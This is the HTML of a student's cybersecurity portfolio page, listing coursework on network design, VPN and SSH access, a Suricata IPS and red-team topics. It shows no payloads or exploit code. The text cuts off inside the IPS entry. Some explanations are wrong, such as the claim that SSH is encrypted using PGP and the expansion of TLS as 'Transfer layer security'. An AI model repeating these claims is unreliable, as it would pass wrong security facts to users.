class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats 